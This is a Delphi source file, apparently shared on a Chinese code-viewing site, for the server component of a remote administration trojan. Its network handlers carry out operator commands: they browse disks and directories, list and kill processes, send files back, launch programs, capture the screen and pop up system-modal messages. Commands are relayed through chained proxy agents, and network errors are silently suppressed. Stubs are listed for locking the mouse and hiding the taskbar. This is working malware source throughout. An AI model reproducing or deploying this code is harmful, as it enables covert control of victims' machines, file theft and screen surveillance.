📄 unit1.pas
字号:
if CaptureFileDir(strLDir,DirStringList,FileStringList) then
begin
if DirStringList.Count =0 then DirStringList.Add('提示:返回上一级目录');
if FileStringList.Count=0 then FileStringList.Add('提示:空文件目录');
DirStringList.SaveToStream(SDirStream);
FileStringList.SaveToStream(SFileStream);
DirStringList.Clear;
FileStringList.Clear;
GDirStream:= TStringStream.Create(SDirStream.DataString);
GFileStream:= TStringStream.Create(SFileStream.DataString);
repeat
Application.ProcessMessages;
until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
+':文件目录回传开始...')<>0;
FileCSocket1.Close;
FileCSocket1.Address:=Socket.RemoteAddress;
FileCSocket1.Open;
repeat
Application.ProcessMessages;
until Socket.SendText(intToStr(MonitorSSocket2.Socket.ActiveConnections)
+':文件目录回传结束!')<>0;
end;
except
SDirStream.Free;
SFileStream.Free;
exit;
end;
end;
SDirStream.Free;
SFileStream.Free;
end;
procedure TForm1.ListenUDPInvalidHost(var handled: Boolean);
begin
handled:=True;
end;
procedure TForm1.ListenUDPStreamInvalid(var handled: Boolean;
Stream: TStream);
begin
handled:=True;
end;
procedure TForm1.NMUDP2InvalidHost(var handled: Boolean);
begin
handled:=True;
end;
procedure TForm1.NMUDP2StreamInvalid(var handled: Boolean;
Stream: TStream);
begin
handled:=True;
end;
procedure TForm1.NMUDP1StreamInvalid(var handled: Boolean;
Stream: TStream);
begin
handled:=True;
end;
procedure TForm1.NMUDP1InvalidHost(var handled: Boolean);
begin
handled:=True;
end;
procedure TForm1.FileExUDPInvalidHost(var handled: Boolean);
begin
handled:=True;
end;
procedure TForm1.FileExUDPStreamInvalid(var handled: Boolean;
Stream: TStream);
begin
handled:=True;
end;
procedure TForm1.MouseKeyBdUDPStreamInvalid(var handled: Boolean;
Stream: TStream);
begin
handled:=True;
end;
procedure TForm1.MouseKeyBdUDPInvalidHost(var handled: Boolean);
begin
handled:=True;
end;
procedure TForm1.ReplaceUDPInvalidHost(var handled: Boolean);
begin
handled:=True;
end;
procedure TForm1.ReplaceUDPStreamInvalid(var handled: Boolean;
Stream: TStream);
begin
handled:=True;
end;
procedure TForm1.ReplaceSocketDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
GMStream.Clear;
end;
procedure TForm1.CSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
GMStream.Clear;
end;
procedure TForm1.MonitorSSocket2ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
repeat
Application.ProcessMessages;
until Socket.SendText('第'+
intToStr(MonitorSSocket2.Socket.ActiveConnections)
+'位连接者')<>0;
end;
procedure TForm1.SysUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
const
PROCESS_TERMINATE=$0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
result,iL:integer;
strLExeFileName:String;
StrStream:TStringStream;
StrList:TStringList;
begin
Try
StrList:=TStringList.Create;
StrStream:=TStringStream.Create('');
except
exit;
end;
SysUDP.RemoteHost:=FromIP;
SysUDP.RemotePort:=Port;
SysUDP.ReadStream(StrStream);
strLExeFileName:=StrStream.DataString;
result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,
FProcessEntry32);
while integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(strLExeFileName))
or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(strLExeFileName))) then
Result :=Integer(TerminateProcess(OpenProcess(
PROCESS_TERMINATE, BOOL(0),
FProcessEntry32.th32ProcessID), 0));
StrList.Add(FProcessEntry32.szExeFile);
ContinueLoop := Process32Next(FSnapshotHandle,FProcessEntry32);
end;
if StrStream.DataString='进程查看' then
begin
try
StrList.SaveToStream(StrStream);
SysUDP.SendStream(strStream);
except
StrList.Free;
StrStream.Free;
exit;
end
end;
StrList.Free;
StrStream.Free;
end;
procedure TForm1.AgentUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
var
CMDStream:TStringStream;
CMDList,SendList:TStringList;
iL,iL2:integer;
begin
CMDList:=TStringList.Create;
SendList:=TStringList.Create;
CMDStream:=TStringStream.Create('');
AgentUDP.ReadStream(CMDStream);
CMDList.Text:=CMDStream.DataString;
try
iL2:=StrToInt(CMDList[1]);
except
CMDList.Free;
CMDStream.Free;
exit;
end;
if iL2=CMDList.Count-1 then
begin//到达目标点!进行分析处理
if CMDList[0]='A' then //目标可达性探测
begin
AgentUDP.RemoteHost:=FromIP;
AgentUDP.RemotePort:=179;
if iL2=4 then AgentUDP.RemotePort:=178;
CMDStream.Size:=0;
CMDList[0]:=LowerCase(CMDList[0]);
CMDList[1]:=IntToStr(CMDList.Count-1);
CMDList[2]:='目标主机返回!';
CMDList.SaveToStream(CMDStream);
AgentUDP.SendStream(CMDStream);
CMDList.Free;
CMDStream.Free;
exit;
end;
if CMDList[0]='B' then //目录浏览----------------------------1
begin
if CMDList[2]='NULL' then//获取磁盘信息----------------1.1
begin
getDisksInfo(AgentStream);
CMDStream.Size:=0;
CMDList[0]:=LowerCase(CMDList[0]);
CMDList[1]:=intToStr(CMDList.Count-1);
CMDList[2]:='回传磁盘目录!';
AgentCSkt.Close;
SendGetData(CMDList,AgentStream,AgentCSkt);
CMDList.Free;
CMDStream.Free;
exit;
end else//获取特定目录CMDList[2]的文件信息----------1.2
begin
GetfileStrs(CMDList[2],SendList);
CMDStream.Size:=0;
CMDList[0]:=LowerCase(CMDList[0]);
CMDList[1]:=intToStr(CMDList.Count-1);
CMDList[2]:='回传文件目录';
SendList.SaveToStream(CMDStream);
AgentCSkt.Close;
SendGetData(CMDList,CMDStream,AgentCSkt);
CMDList.Free;
CMDStream.Free;
exit;
end;
end;
if CMDList[0]='C' then//进程查看---------------------------2
Begin
OperatePrg(SendList,CMDList[2]);
if CMDList[2]='NULL' then
begin
CMDStream.Size:=0;
CMDList[0]:=LowerCase(CMDList[0]);
CMDList[1]:=intToStr(CMDList.Count-1);
CMDList[2]:='进程列表回传!';
SendList.SaveToStream(CMDStream);
AgentCSkt.Close;
SendGetData(CMDList,CMDStream,AgentCSkt);
CMDList.Free;
CMDStream.Free;
exit;
end else
begin
CMDList.Free;
CMDStream.Free;
exit;
end;
end;
if CMDList[0]='D' then//文件下载-----------------------------3
Begin
if FileExists(CMDList[2]) then
Begin
AgentStream.Clear;
AgentStream.LoadFromFile(CMDList[2]);
CMDStream.Size:=0;
CMDList[0]:=LowerCase(CMDList[0]);
CMDList[1]:=intToStr(CMDList.Count-1);
CMDList[2]:='下载文件回传!';
AgentCSkt.Close;
SendGetData(CMDList,AgentStream,AgentCSkt);
AgentStream.Clear;
end;
CMDList.Free;
CMDStream.Free;
exit;
end;
if CMDList[0]='E' then begin end;//结束当前进程-------------4
if CMDList[0]='F' then//远程执行特定程序--------------------5
Begin
if FileExists(CMDList[2]) then
Begin
ShellExecute(Application.Handle, 'OPEN',
PChar(CMDList[2]),'','', SW_SHOWNORMAL);
CMDStream.Size:=0;
CMDList[0]:=LowerCase(CMDList[0]);
CMDList[1]:=intToStr(CMDList.Count-1);
CMDList[2]:='远程文件执行后回传!';
CMDList.SaveToStream(CMDStream);
AgentCSkt.Close;
SendGetData(CMDList,CMDStream,AgentCSkt);
end;
CMDList.Free;
CMDStream.Free;
exit;
end;
if CMDList[0]='G' then begin end;//文件上载 ----------------6
if CMDList[0]='H' then//远程屏幕查看------------------------7
Begin
AgentUDP.RemoteHost:=FromIP;
CMDStream.Size:=0;
GetScreenStream(AgentStream,StrToInt(CMDList[2]));
CMDList[0]:=LowerCase(CMDList[0]);
CMDList[1]:=intToStr(CMDList.Count-1);
CMDList[2]:='远程屏幕查看!';
AgentCSkt.Close;
SendGetData(CMDList,AgentStream,AgentCSkt);;
CMDList.Free;
CMDStream.Free;
exit;
end;
if CMDList[0]='I' then//发送短消息--------------------------8
begin
Application.MessageBox(
PChar(CMDList[2]),'',MB_OK+MB_ICONSTOP+MB_SYSTEMMODAL);
exit;
end;
if CMDList[0]='J' then begin end;//鼠标锁定-----------------9
if CMDList[0]='L' then begin end;//隐藏桌面图标-----------------10
if CMDList[0]='M' then begin end;//隐藏任务栏-----------------11
if CMDList[0]='N' then begin end;//窗口最小化-----------------12
end
else
begin //继续节点转发数据==============================================
if (CMDList[0]='A') or
(CMDList[0]='B') or
(CMDList[0]='C') or
(CMDList[0]='D') or
(CMDList[0]='E') or
(CMDList[0]='F') or
(CMDList[0]='G') or
(CMDList[0]='H') or
(CMDList[0]='I') or
(CMDList[0]='J') or
(CMDList[0]='K') or
(CMDList[0]='L') or
(CMDList[0]='M') or
(CMDList[0]='N')then //前向传递=========
begin
AgentUDP.RemotePort:=179;
AgentUDP.RemoteHost:=CMDList[iL2+1];
CMDList[1]:=IntToStr(iL2+1);
CMDStream.Size:=0;
CMDList.SaveToStream(CMDStream);
AgentUDP.RemoteHost:=FromIP;
AgentUDP.SendStream(CMDStream);
CMDList.Free;
CMDStream.Free;
exit;
end;
end;
if (CMDList[0]='a') or (CMDList[0]='c') then//后向传递==========
Begin
AgentUDP.RemoteHost:=CMDList[iL2-1];
if iL2=4 then
AgentUDP.RemotePort:=178 else
AgentUDP.RemotePort:=179;
CMDList[1]:=IntToStr(iL2-1);
CMDStream.Size:=0;
CMDList.SaveToStream(CMDStream);
AgentUDP.SendStream(CMDStream);
CMDList.Free;
CMDStream.Free;
exit;
end;
end;
procedure TForm1.AgentUDPBufferInvalid(var handled: Boolean;
var Buff: array of Char; var length: Integer);
begin
handled:=True;
end;
procedure TForm1.AgentUDPStreamInvalid(var handled: Boolean;
Stream: TStream);
begin
Handled:=True;
end;
procedure TForm1.AgentCSktError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
ErrorCode:=0;
AgentCSkt.Tag:=100;
end;
procedure TForm1.AgentCSktDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
AgentCSkt.Tag:=100;
end;
procedure TForm1.AgentSvSktClientRead(Sender: TObject;
Socket: TCustomWinSocket);
Var
TheRcvBuff:array[1..8192] of char;
TheRcvHead:array[1..7] of char;
CMDChar:Char;
iLRead,iLState:integer;
LCMDStream:TStringStream;
LDataStream:TMemoryStream;
getCMDList:TStringList;
begin
if AgentSvSkt.Tag=0 then //分析以便于获取地址列表
begin
Socket.ReceiveBuf(TheRcvHead,7);
SplitHeader7(TheRcvHead,CMDChar,sRLen1,iRLen2);
AgentSvSkt.Tag:=100;
AgentStream.Size:=0;
exit;
end;
iLRead:=Socket.ReceiveBuf(TheRcvBuff,8192);
iLState:=AgentStream.Write(TheRcvBuff,iLRead);
if AgentStream.Size=(SRlen1+iRLen2) then
Begin
LCMDStream:=TStringStream.Create('');
LDataStream:=TMemoryStream.Create;
GetCMDList:=TStringList.Create;
AgentStream.Position:=0;
LCMDStream.CopyFrom(AgentStream,sRLen1);
LCMDStream.Position:=0;
GetCMDList.Text:=LCMDStream.DataString;
LDataStream.CopyFrom(AgentStream,iRLen2);
//转发数据给下一个代理节点
SendGetData(GetCMDList,LDataStream,AgentCSkt);
AgentCSkt.Close;
AgentStream.Size:=0;
AgentSvSkt.Tag:=0;
LCMDStream.Free;
LDataStream.Free;
GetCMDList.Free;
sRLen1:=0;
iRLen2:=0;
end;
end;
procedure TForm1.AgentUDPInvalidHost(var handled: Boolean);
begin
handled:=True;
end;
procedure TForm1.AgentSvSktClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
AgentSvSkt.Tag:=0
end;
procedure TForm1.AgentSvSktClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
AgentSvSkt.Tag:=0;
end;
procedure TForm1.AgentSvSktClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
AgentSvSkt.Tag:=0;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -